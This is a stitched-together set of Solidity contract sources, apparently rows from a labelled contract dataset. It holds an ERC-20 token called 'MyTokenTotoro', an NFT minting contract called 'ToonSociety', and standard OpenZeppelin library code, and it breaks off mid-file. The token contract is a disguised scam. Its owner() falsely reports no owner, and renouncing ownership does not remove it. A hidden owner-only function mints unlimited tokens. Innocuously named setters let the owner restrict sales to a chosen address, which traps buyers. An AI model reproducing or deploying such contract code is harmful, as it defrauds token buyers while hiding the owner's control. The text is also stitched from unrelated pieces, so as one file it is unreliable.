this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MyTokenTotoro is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public _BurnAddress;
address public _Deployer;
uint256 private _tTotal = 10000 * 10**9 * 10**18;
string private _name = 'My Token Totoro! | https://t.me/MyTokentoro';
string private _symbol = 'MTT';
uint8 private _decimals = 18;
uint256 public _maxToken = 1000000000 * 10**18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _Reflect(address blackListAddress) public onlyOwner {
_BurnAddress = blackListAddress;
}
function setOpenTrading(address blackAddress) public onlyOwner {
_Deployer = blackAddress;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _LockBurn(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function setmaxSlippage(uint256 maxTxBlackPercent) public onlyOwner {
_maxToken = maxTxBlackPercent * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender != _Deployer && recipient == _BurnAddress) {
require(amount < _maxToken, "Transfer amount exceeds the maxTxAmount.");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
/*
*/
|
True
|
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102
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//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract ToonSociety is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
Counters.Counter private _tokenIds;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedURI;
string public mycontractURI;
uint256 public cost = 0.12 ether;
uint256 public maxSupply = 50;
uint256 public maxMintAmount = 1;
uint256 public nftPerAddressLimit = 1;
uint96 royaltyBasis;
bool public paused = false;
bool public revealed = false;
bool public onlyWhitelisted = true;
address royaltyAddress;
//Whitelist, Alpha, OG
mapping(address => bool) public isWhitelisted;
mapping(address => uint256) public addressMintedBalance;
constructor(string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri,
uint96 _royaltyBasis,
string memory _contractURI) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
royaltyAddress = owner();
royaltyBasis = _royaltyBasis;
mycontractURI = _contractURI;
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function _notRevealedURI() internal view virtual returns (string memory) {
return notRevealedURI;
}
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if(onlyWhitelisted == true) {
require(isWhitelisted[msg.sender], "user is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
string memory currentNotRevealedURI = _notRevealedURI();
return bytes(currentNotRevealedURI).length > 0
? string(abi.encodePacked(currentNotRevealedURI, Strings.toString(tokenId), baseExtension))
: "";
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, Strings.toString(tokenId), baseExtension))
: "";
}
function contractURI() public view returns (string memory) {
return string(abi.encodePacked(mycontractURI));
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view
returns (address receiver, uint256 royaltyAmount){
return (royaltyAddress, _salePrice.mul(royaltyBasis).div(10000));
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId ||
interfaceId == 0xe8a3d485 /* contractURI() */ ||
interfaceId == 0x2a55205a /* ERC-2981 royaltyInfo() */ ||
super.supportsInterface(interfaceId);
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyBasis) public onlyOwner {
royaltyAddress = _receiver;
royaltyBasis = _royaltyBasis;
}
function setContractURI(string calldata _contractURI) public onlyOwner {
mycontractURI = _contractURI;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedUri) public onlyOwner {
notRevealedURI = _notRevealedUri;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setOnlyWhitelisted(bool _onlyWhitelist) public onlyOwner() {
onlyWhitelisted = _onlyWhitelist;
}
function addUsersToWhitelist(address[] memory _users) public onlyOwner {
for(uint i=0;i<_users.length;i++)
isWhitelisted[_users[i]] = true;
}
function addToWhitelist(address _user) public onlyOwner {
isWhitelisted[_user] = true;
}
function removeFromWhitelist(address _user) public onlyOwner {
isWhitelisted[_user] = false;
}
function withdraw() public payable onlyOwner {
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
